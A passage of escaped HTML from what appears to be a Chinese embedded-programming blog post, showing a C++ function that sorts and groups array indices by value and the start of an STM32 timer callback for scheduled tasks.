class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e上面的sortVectorByValue,这直接 Ai 写吧,先排个序然后再判断相邻的是不是相等就行了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e49\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003esortVectorByValue\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"n\"\u003evec\u003c/span\u003e\u003cspan class=\"p\"\u003e[],\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003esortedIndices\u003c/span\u003e\u003cspan class=\"p\"\u003e[][\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_SIZE\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eMAX_SIZE\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eMAX_SIZE\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esortedIndices\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ePair\u003c/span\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_SIZE\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003evec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003esort\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecompareByValue\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003esubArray\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_SIZE\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003esubCount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eprevValue\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003eprevValue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esubArray\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003esubCount\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esubCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esortedIndices\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esubArray\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esubCount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esubArray\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003esubCount\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eprevValue\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esubCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esortedIndices\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esubArray\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"定时执行执行状态对应的任务\"\u003e定时执行(执行状态对应的任务)\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_PeriodElapsedCallback\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTIM_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan 